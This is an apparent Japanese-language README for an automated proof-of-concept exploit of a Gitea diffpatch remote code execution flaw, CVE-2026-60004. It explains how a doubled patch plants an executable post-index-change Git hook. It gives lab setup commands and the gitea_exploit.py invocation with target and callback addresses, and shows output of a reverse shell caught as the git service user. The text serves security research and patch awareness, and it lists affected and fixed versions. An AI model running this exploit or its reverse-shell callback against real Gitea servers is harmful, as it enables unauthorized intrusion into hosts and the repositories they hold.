
CVE-2026-60004 の自動化された概念実証エクスプロイト。これは Gitea の diffpatch Git フック RCE であり、post-index-change フックを仕込んでサービスアカウントとしてリバースシェルを取得します。
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 は Gitea における リモートコード実行 (RCE) 脆弱性です。
diffpatchAPI は提供されたパッチをgit apply --cachedで適用しますが、これはインデックスのみを操作するはずで、決してファイルをディスクに書き込んではいけません。 同じパッチを2回送信することで、攻撃者は add/add 衝突を引き起こし、Git の three-way merge フォールバック (-3) を誘発します。この経路は--cachedを無視し、ファイルを作業ツリーにチェックアウトします。 一時クローンは bare であるため、その作業ツリーのルートは$GIT_DIRになります。したがって、実行可能なhooks/post-index-changeを作成するパッチは、生きた Git フックを配置することになり、Git は次のインデックス更新時にそれを自動的に実行します — つまり Gitea サービスアカウントとしてコマンドが実行されます。 このエンドポイントにはリポジトリへの書き込みアクセスが必要ですが、登録はデフォルトで有効になっているため、サインアップしてリポジトリを作成できるユーザーなら誰でも到達できます。
| カテゴリ | バージョン |
|---|---|
| 脆弱 | Gitea 1.17 ≤ version ≤ 1.27.0 |
| 修正済み | Gitea 1.27.1 以降 |
git) としてのリモートコード実行脆弱な Gitea 環境をビルドして実行します。登録はオープンのままで、
サーバーには Git 2.32+ が同梱されており、攻撃が依存する -3 フォールバックが有効になっています。
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| 前提条件 | このラボでの状態 |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
サーバー上の Git 2.32+ (-3 を有効化) | 2.54 |
| オープン登録 | 有効 (デフォルト) |
| リポジトリへの書き込みアクセス | 自己登録アカウント経由 |
エクスプロイトは gitea_exploit.py によって完全に自動化されています。リポジトリを
作成できるアカウントがあれば、ターゲットリポジトリを作成し、Git の -3 フォールバックが発火するまで同じパッチを繰り返し送信し、内蔵リスナーでリバースシェルをキャッチします — 手動セットアップ、パッチ作成、blob ハッシュ計算は不要です。
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
-3 フォールバックは特定のタイミングウィンドウでのみ発火するため、スクリプトは
create → send → send をキャッチするまでループします (デフォルト25回)。送信がブロックされると、
フックが発火しており、リスナーが git としてシェルに接続します:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
オプション:
--no-listen — 内蔵リスナーの代わりに独自の外部 nc でシェルをキャッチする--user / --pw / --repo / --branch — デフォルトのアカウントとターゲットリポジトリを上書きするDISABLE_REGISTRATION=true)